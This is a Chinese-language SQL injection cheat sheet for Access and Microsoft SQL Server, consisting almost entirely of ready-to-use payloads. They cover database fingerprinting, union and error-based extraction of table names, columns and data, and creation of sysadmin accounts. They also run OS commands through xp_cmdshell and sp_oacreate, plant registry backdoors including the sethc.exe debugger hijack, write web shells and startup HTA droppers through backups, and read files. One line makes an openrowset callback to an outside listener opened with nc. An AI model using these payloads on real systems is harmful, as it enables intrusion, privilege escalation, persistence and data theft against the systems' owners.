and、or select * from admin where 1=1 [and、or] 2=2
order by select * from admin where 1=1 [order by] 2
union select * from admin (where 1=1) [union] select 1,2,3...,n from admin
varchar/nvarchar和int類型的字段union到一起時(shí)會(huì)強(qiáng)制轉(zhuǎn)換 and 1=2 union
text/ntext和image類型的字段union不能用DISTINCT方式 union all
text/ntext和int類型的字段union到一起時(shí)不兼容 '1','2','3'...,'n' 或者 char(49),....
判斷數(shù)據(jù)庫
and (select count(*) from msysobjects)>0 msysobjects為access特有 但默認(rèn)無權(quán)限讀取
and (select count(*) from sysobjects)>0 sysobjects為mssql特有
兩錯(cuò)為access 一錯(cuò)二對為mssql
ACCESS注射
注釋符: NULL 或者
不支持多句執(zhí)行 支持聯(lián)合查詢
數(shù)字型
1、
and exists (select * from 表段)
and (select count(*) from 表段)>0
and exists (select 字段 from 表段）
and (select count(字段) from 表段)>0
2、1
and (select top 1 len(字段) from 表段)>5
and (select len(字段2) from 表段 where 字段1=N)>5
and (select top 1 asc(mid(字段,N,1)) from 表段)>96
and (select asc(mid(字段2,N,1)) from 表段 where 字段1=N)>96
and (select top 1 ascii(substring(字段,N,1)) from 表段)>96 //////////// MSSQL
2、2
order by n
and 1=2 union all select 1,2,3,4,...,n from 表段
and 1=2 union all select 1,2,字段,4,...,n from 表段
字符型
' and 1=1 and '1'='1
' and (select count(*) from 表段)>0 and '1'='1
' and 1=2 union all select 1,2,3,4,...,n from 表段 where '1'='1
搜索型
%' and 1=1 and '%'='
%' and (select count(*) from 表段)>0 and '%'='
%' and 1=2 union all select 1,2,3,4,...,n from 表段 where '%'='
access跨庫
把 表段 換成 數(shù)據(jù)庫物理地址.表段
group by 1 having 1=1 暴出第一個(gè)字段（數(shù)字型）
group by 1,字段1 having 1=1 暴出第二個(gè)字段
having sum(1)=1 必爆第一個(gè)字段
' group by 1 having '1'='1 暴出第一個(gè)字段（字符型）
' group by 1,字段1 having '1'='1 暴出第二個(gè)字段
' having sum(1)='1 必爆第一個(gè)字段
偏移注射
order by 10 正在查詢的字段有10個(gè)
and 1=2 union select 1,2,3,4,5,6,7,* from admin 表段admin有3個(gè)字段
and 1=2 union select 1,2,3,4,5,6,7,8,9,id from admin 表段admin存在字段id
and 1=2 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id) 在5-10位置顯示數(shù)據(jù)
and 1=2 union select 1,2,3,4,a.id,* from (admin as a inner join admin as b on a.id=b.id) 打亂5-10位置數(shù)據(jù)排序（MSSQL無效）
and 1=2 union select 1,2,3,4,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 打亂5-10位置數(shù)據(jù)排序（MSSQL無效）
and 1=2 union select 1,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 在2-10位置顯示數(shù)據(jù)
MSSQL注射
注釋符: --
支持多句執(zhí)行 支持聯(lián)合查詢
sa權(quán)限
master.dbo.xp_cmdshell
master.dbo.xp_regwrite
sp_oa** 任意用戶擁有master數(shù)據(jù)庫owner權(quán)限也可
sp_**job**
sp_makewebtask
master.dbo.xp_servicecontrol
master.dbo.xp_regdeletevalue
master.dbo.sysxlogins(not exec) mssql2005為syslogins
master.dbo.sp_addlogin
master.dbo.sp_dropextendedproc
master.dbo.sp_addextendedproc
xp_makecab\xp_unpackcab
BULK INSERT
owner權(quán)限
create table
backup to disk
public權(quán)限
create ##table 全局臨時(shí)表 存儲(chǔ)在tempdb數(shù)據(jù)庫sysobjects表 URL提交需編碼 ##table
exec master.dbo.xp_regread 2005 sa
exec master.dbo.xp_dirtree 2005 sa
select master.dbo.sysdatabases
select master.dbo.sysobjects
;無關(guān)聯(lián)sql語句 執(zhí)行sql語句，如update/insert/exec，但無回顯
;exec xp_availablemedia-- 獲取驅(qū)動(dòng)器
insert注射時(shí)可用報(bào)錯(cuò)
convert(int,@@version)
cast(@@version as int)
and user>0--
and system_user>0
user是SQL server的一個(gè)內(nèi)置變量，它的值是當(dāng)前連接的用戶名。他會(huì)提示將“用戶名”轉(zhuǎn)換為int出錯(cuò)。如果是sa權(quán)限。提示的是將“dbo”轉(zhuǎn)換成int出錯(cuò)。暴出數(shù)據(jù)庫用戶名。
and (select @@version)>0-- 返回對方系統(tǒng)的版本和SQL的具體版本
and host_name()>0 WEB服務(wù)器名
and @@servername>0 DATA服務(wù)器名
and db_name()>0-- 暴出當(dāng)前數(shù)據(jù)庫名
and db_name(N)>0-- 暴出其他數(shù)據(jù)庫名
and (select filename from master.dbo.sysdatabases where name='數(shù)據(jù)庫名')>0-- 暴出數(shù)據(jù)庫路徑
and system_user>0-- 暴出當(dāng)前賬號
and (select IS_SRVROLEMEMBER('sysadmin'))>0--
判斷服務(wù)器角色sysadmin、dbcreator、diskadmin、processadmin、serveradmin、setupadmin、securityadmin
and (select IS_MEMBER('db_owner'))>0--
判斷數(shù)據(jù)庫角色db_owner、db_datareader、db_datawriter、public
and (select @@servername)>0-- 獲取主機(jī)名
and (select top 1 name from sysobjects where xtype='U')>0-- 暴出第1個(gè)表段
and (select top 1 name from sysobjects where xtype=char(85) and name not in ('表段1'))>0-- 暴出第2個(gè)表段
and (select top 1 name from sysobjects where xtype=char(85) and name not in ('表段1'，'表段2'))>0-- 暴出第3個(gè)表段
或者
;drop table ##tempsec;create TABLE ##tempsec(result varchar(1000) NULL, id int NOT NULL IDENTITY (1,1))--
;insert into ##tempsec select name from sysobjects where xtype=char(85)--
可修為;insert into ##tempsec select TABLE_NAME from INFORMATION_SCHEMA.TABLES ////////// MSSQL2005
and (select result from ##tempsec where id=N)>0--
having 1=1-- 暴出當(dāng)前字段
group by 字段1 having 1=1-- 暴出第二個(gè)字段
group by 字段1,字段2 having 1=1-- 暴出第三個(gè)字段
and (select top 1 col_name(object_id('表段'),N) from sysobjects)>0-- 暴出某表段第N個(gè)字段
and (select top 1 字段 from 表段)>0-- 暴出第1條數(shù)據(jù)
mssql跨庫
and (select top 1 name from master.dbo.sysdatabases where dbid=N)>0-- 暴出第N個(gè)數(shù)據(jù)庫名
and (select top 1 name from 數(shù)據(jù)庫名.dbo.sysobjects where xtype='U')>0-- 暴出某數(shù)據(jù)庫第1個(gè)表段
and (select top 1 name from master.dbo.sysxlogins)>0-- 暴出第1個(gè)SQL賬戶
;exec master.dbo.sp_addlogin UserName,Password-- 添加SQL賬戶
and (select count(*) from master.dbo.sysxlogins where name='UserName')>0-- 判斷是否添加賬戶
;exec master.dbo.sp_addsrvrolemember UserName,sysadmin-- 提升為sysadmin權(quán)限
and (select count(*) from master.dbo.sysxlogins where name='UserName' and xstatus=18)>0-- 判斷是否提權(quán)
and (select count(*) from master.dbo.sysobjects where name= 'xp_cmdshell')>0-- 檢測xp_cmdshell(CMD命令)
;exec master.dbo.xp_cmdshell 'CMD命令'-- 執(zhí)行cmd命令，無回顯
;exec master.dbo.sp_dropextendedproc 'xp_cmdshell'-- 刪除xp_cmdshell
;exec master.dbo.sp_addextendedproc xp_cmdshell,'xplog70.dll'-- 恢復(fù)xp_cmdshell
如果sp_addextendedproc被刪，CREATE PROCEDURE必須是批查詢中的第一條語句，所以使用查詢分析器執(zhí)行下面語句恢復(fù)。
create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0)
GO
;drop table tempsec;create TABLE tempsec(result varchar(1000) NULL, id int NOT NULL IDENTITY (1,1))-- 創(chuàng)建臨時(shí)表
;insert into tempsec exec master.dbo.xp_cmdshell 'ipconfig /all'-- 插入內(nèi)容
and (select result from tempsec where id=N)>0-- 查看第N行內(nèi)容
and (select count(*) from master.dbo.sysobjects where name= 'xp_regwrite')>0-- 檢測xp_regwrite(寫注冊表)
;exec master.dbo.xp_regwrite '項(xiàng)','子項(xiàng)','值項(xiàng)名稱','值項(xiàng)類型','值項(xiàng)數(shù)據(jù)'-- 寫入值項(xiàng)
;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','hackadd','REG_SZ','net user 123 123/add'--
;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','C:\WINDOWS\system32\cmd.exe'--
xp_regread
;exec master.dbo.xp_regread '項(xiàng)','子項(xiàng)','值項(xiàng)名稱'-- (讀注冊表) 可插入臨時(shí)表后報(bào)錯(cuò)輸出、臨時(shí)表需要兩列存放值項(xiàng)類型和值項(xiàng)數(shù)據(jù)
xp_regdeletevalue
;exec master.dbo.xp_regdeletevalue '項(xiàng)','子項(xiàng)','值項(xiàng)名稱'-- (刪注冊表)
沙盒模式
;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0-- 關(guān)閉沙盒
;select * from OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")')-- 執(zhí)行命令 換成C:\WINDOWS\system32\ias\dnary.mdb或者其他mdb也可
獲取數(shù)據(jù)庫服務(wù)器IP
---------------------------Assume-MyIP:8.8.8.8----------------------------------------------
nc -vv -l -p 4433
--------------------------------------------------------------------------------------------
;select * from openrowset('sqloledb','server=8.8.8.8,4433;uid=a;pwd=a','select @@version')--
--------------------------------------------------------------------------------------------
;exec sp_makewebtask '物理地址','select ''內(nèi)容'''-- 生成文件（內(nèi)容前后是兩個(gè)單引號）
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'CMD命令'-- 執(zhí)行命令
;declare @shell int exec sp_oacreate 'Shell.Application',@shell output exec sp_oamethod @shell,'ShellExecute',null,'cmd.exe','cmd /c CMD命令'-- 執(zhí)行命令
;declare @o int, @f int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, '物理地址', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'內(nèi)容'-- 寫入內(nèi)容
;declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe'-- 文件復(fù)制
讀取文件
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
;exec msdb.dbo.sp_delete_job null,'tempsec';exec msdb.dbo.sp_add_job 'tempsec';exec msdb.dbo.sp_add_jobstep null,'tempsec',null,'1','cmdexec','cmd /c CMD命令';exec msdb.dbo.sp_add_jobserver null,'tempsec',N'(LOCAL)';exec msdb.dbo.sp_start_job 'tempsec',null,@step_name=1-- 執(zhí)行任務(wù)需要開啟SQLSERVERAGENT服務(wù)
;exec master.dbo.xp_servicecontrol 'start','服務(wù)名稱' 啟動(dòng)系統(tǒng)服務(wù)
;drop table tempsec;create table tempsec(dir nvarchar(255),depth varchar(255),files varchar(255) ,ID int NOT NULL IDENTITY (1,1))--
;insert into tempsec(dir,depth,files) exec master.dbo.xp_dirtree '目錄路徑',1,1--
and (select dir from tempsec where id=N)>0-- 輸出第N個(gè)目錄或文件
BULK INSERT查看文件內(nèi)容
drop table tmpsec
CREATE TABLE tmpsec(ResultTxt nvarchar(1024) NULL)
BULK INSERT tmpsec FROM 'C:\boot.ini' WITH (KEEPNULLS)
select * from tmpsec
CAB壓縮、解壓
exec master.dbo.xp_makecab 'D:\boot.cab','mszip',1,'C:\boot.ini'
exec master.dbo.xp_unpackcab 'D:\boot.cab','D:\',1,'boot.txt'
log增量備份 如果數(shù)據(jù)庫名以數(shù)字開頭 則需要雙引號
;alter database 數(shù)據(jù)庫名 set RECOVERY FULL-- 把SQL設(shè)置成日志完全恢復(fù)模式
;backup database 數(shù)據(jù)庫名 to disk = 'c:\bak' with init-- ////////////////////////////// MSSQL2005
;create table cmd (a image)-- 新建立一個(gè)cmd表
;backup log 數(shù)據(jù)庫名 to disk = 'c:\bak' with init-- 縮減備份數(shù)據(jù)的大小
;insert into cmd (a) values (一句話木馬16進(jìn)制)-- 插入一句話木馬 （16進(jìn)制不需要單引號 其他的要)
;backup log 數(shù)據(jù)庫名 to disk = '物理路徑'-- 備份日志到目標(biāo)網(wǎng)站W(wǎng)EB路徑
;drop table cmd-- 刪除新建的cmd表
;alter database 數(shù)據(jù)庫名 set RECOVERY SIMPLE--
owner權(quán)限提權(quán)
;create table [starup]([cmd] [image]);--
;declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;--
;insert into [starup](cmd)values('<html><script language=VBScript>window.moveTo 8888,8888:Set s=CreateObject("Wscript.Shell"):s.Run "cmd.exe /c net user oo xx /add",0:s.Run "cmd.exe /c net localgroup administrators oo /add",0:window.resizeTo 0,0:window.close</script></html>');--
;declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='C:\Documents and Settings\All Users\「開始」菜單\程序\啟動(dòng)\starup.hta' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;--
;drop table [starup];--
and substring((select @@version),22,4)='2005' 判斷是否2005
MSSQL2005默認(rèn)不開啟xp_cmdshell、OpenRowSet、sp_oa*、sp_makewebtask
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 開啟xp_cmdshell
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;-- 關(guān)閉xp_cmdshell
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;-- 開啟OpenRowSet
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;-- 關(guān)閉OpenRowSet
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE;-- 開啟sp_oa*
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',0;RECONFIGURE;-- 關(guān)閉sp_oa*
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Web Assistant Procedures',1;RECONFIGURE;-- 開啟sp_makewebtask
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Web Assistant Procedures',0;RECONFIGURE;-- 關(guān)閉sp_makewebtask
